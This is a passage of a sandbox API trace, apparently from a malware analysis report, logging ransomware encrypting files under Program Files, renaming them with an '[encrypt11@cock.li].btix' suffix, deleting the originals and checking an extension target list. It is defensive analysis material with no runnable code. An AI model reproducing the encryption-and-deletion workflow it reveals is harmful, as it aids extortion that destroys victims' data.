shared\\ink\\en-us\\split.avi")) returned 0x20 [0128.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0128.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0128.265] lstrlenW (lpString=".doc") returned 4 [0128.265] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString=".docx") returned 5 [0128.265] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.265] lstrlenW (lpString=".pdf") returned 4 [0128.265] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString=".xls") returned 4 [0128.265] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString=".xlsx") returned 5 [0128.265] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.265] lstrlenW (lpString=".ppt") returned 4 [0128.265] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0128.265] lstrlenW (lpString=".zip") returned 4 [0128.265] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString=".rar") returned 4 [0128.265] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.265] lstrlenW (lpString=".bz2") returned 4 [0128.265] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.266] lstrlenW (lpString=".7z") returned 3 [0128.266] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0128.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.282] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4446698, Size=0x2000) returned 0x4446698 [0128.282] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0130.578] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=2232) returned 1 [0130.578] CloseHandle (hObject=0x3c8) returned 1 [0130.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0130.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0130.579] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.579] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0130.580] GetLastError () returned 0x0 [0130.580] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x8b8, lpOverlapped=0x0) returned 1 [0130.710] WriteFile (in: hFile=0x43c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0130.711] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.711] WriteFile (in: hFile=0x43c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0130.711] SetEndOfFile (hFile=0x43c) returned 1 [0130.711] CloseHandle (hObject=0x43c) returned 1 [0130.711] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.711] SetEndOfFile (hFile=0x3c8) returned 1 [0130.714] CloseHandle (hObject=0x3c8) returned 1 [0130.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString=".doc") returned 4 [0130.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString=".docx") returned 5 [0130.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.715] lstrlenW (lpString=".pdf") returned 4 [0130.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString=".xls") returned 4 [0130.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.715] lstrlenW (lpString=".xlsx") returned 5 [0130.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.715] lstrlenW (lpString=".ppt") returned 4 [0130.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString=".zip") returned 4 [0130.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.715] lstrlenW (lpString=".rar") returned 4 [0130.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString=".bz2") returned 4 [0130.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString=".7z") returned 3 [0130.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString=".dbf") returned 4 [0130.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString=".1cd") returned 4 [0130.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.715] lstrlenW (lpString=".jpg") returned 4 [0130.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString=".doc") returned 4 [0130.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString=".docx") returned 5 [0130.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.716] lstrlenW (lpString=".pdf") returned 4 [0130.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString=".xls") returned 4 [0130.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.716] lstrlenW (lpString=".xlsx") returned 5 [0130.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.716] lstrlenW (lpString=".ppt") returned 4 [0130.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString=".zip") returned 4 [0130.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.716] lstrlenW (lpString=".rar") returned 4 [0130.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString=".bz2") returned 4 [0130.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString=".7z") returned 3 [0130.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString=".dbf") returned 4 [0130.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString=".1cd") returned 4 [0130.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0130.716] lstrlenW (lpString=".jpg") returned 4 [0130.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.717] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.717] lstrlenW (lpString="HH00443_.WMF") returned 12 [0130.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0130.726] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3298) returned 1 [0130.726] CloseHandle (hObject=0x460) returned 1 [0130.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0131.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0131.094] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.094] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0131.095] GetLastError () returned 0x0 [0131.095] ReadFile (in: hFile=0x4c0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xce2, lpOverlapped=0x0) returned 1 [0131.287] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xcf0, lpOverlapped=0x0) returned 1 [0131.289] ReadFile (in: hFile=0x4c0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.289] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0131.289] SetEndOfFile (hFile=0x4c4) returned 1 [0131.289] CloseHandle (hObject=0x4c4) returned 1 [0131.289] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.289] SetEndOfFile (hFile=0x4c0) returned 1 [0131.347] CloseHandle (hObject=0x4c0) returned 1 [0131.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0131.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.558] lstrlenW (lpString=".doc") returned 4 [0131.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.558] lstrlenW (lpString=".docx") returned 5 [0131.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.559] lstrlenW (lpString=".pdf") returned 4 [0131.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString=".xls") returned 4 [0131.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.559] lstrlenW (lpString=".xlsx") returned 5 [0131.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.559] lstrlenW (lpString=".ppt") returned 4 [0131.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString=".zip") returned 4 [0131.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.559] lstrlenW (lpString=".rar") returned 4 [0131.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString=".bz2") returned 4 [0131.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString=".7z") returned 3 [0131.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString=".dbf") returned 4 [0131.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString=".1cd") returned 4 [0131.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString=".jpg") returned 4 [0131.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.559] lstrlenW (lpString=".doc") returned 4 [0131.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString=".docx") returned 5 [0131.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.559] lstrlenW (lpString=".pdf") returned 4 [0131.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.559] lstrlenW (lpString=".xls") returned 4 [0131.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.560] lstrlenW (lpString=".xlsx") returned 5 [0131.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.560] lstrlenW (lpString=".ppt") returned 4 [0131.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.560] lstrlenW (lpString=".zip") returned 4 [0131.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.560] lstrlenW (lpString=".rar") returned 4 [0131.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.560] lstrlenW (lpString=".bz2") returned 4 [0131.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.560] lstrlenW (lpString=".7z") returned 3 [0131.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.560] lstrlenW (lpString=".dbf") returned 4 [0131.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.560] lstrlenW (lpString=".1cd") returned 4 [0131.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0131.560] lstrlenW (lpString=".jpg") returned 4 [0131.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.560] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.560] lstrlenW (lpString="HH00669_.WMF") returned 12 [0131.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0131.561] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=11490) returned 1 [0131.561] CloseHandle (hObject=0x4d4) returned 1 [0131.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0131.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0131.562] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.562] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0131.563] GetLastError () returned 0x0 [0131.563] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0132.174] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0132.175] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.175] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0132.175] SetEndOfFile (hFile=0x3c8) returned 1 [0132.256] CloseHandle (hObject=0x3c8) returned 1 [0132.256] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.256] SetEndOfFile (hFile=0x4d4) returned 1 [0132.258] CloseHandle (hObject=0x4d4) returned 1 [0132.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0132.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.279] lstrlenW (lpString=".doc") returned 4 [0132.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.279] lstrlenW (lpString=".docx") returned 5 [0132.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.279] lstrlenW (lpString=".pdf") returned 4 [0132.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.279] lstrlenW (lpString=".xls") returned 4 [0132.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.279] lstrlenW (lpString=".xlsx") returned 5 [0132.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.279] lstrlenW (lpString=".ppt") returned 4 [0132.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.279] lstrlenW (lpString=".zip") returned 4 [0132.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.279] lstrlenW (lpString=".rar") returned 4 [0132.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString=".bz2") returned 4 [0132.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString=".7z") returned 3 [0132.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString=".dbf") returned 4 [0132.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString=".1cd") returned 4 [0132.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString=".jpg") returned 4 [0132.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft 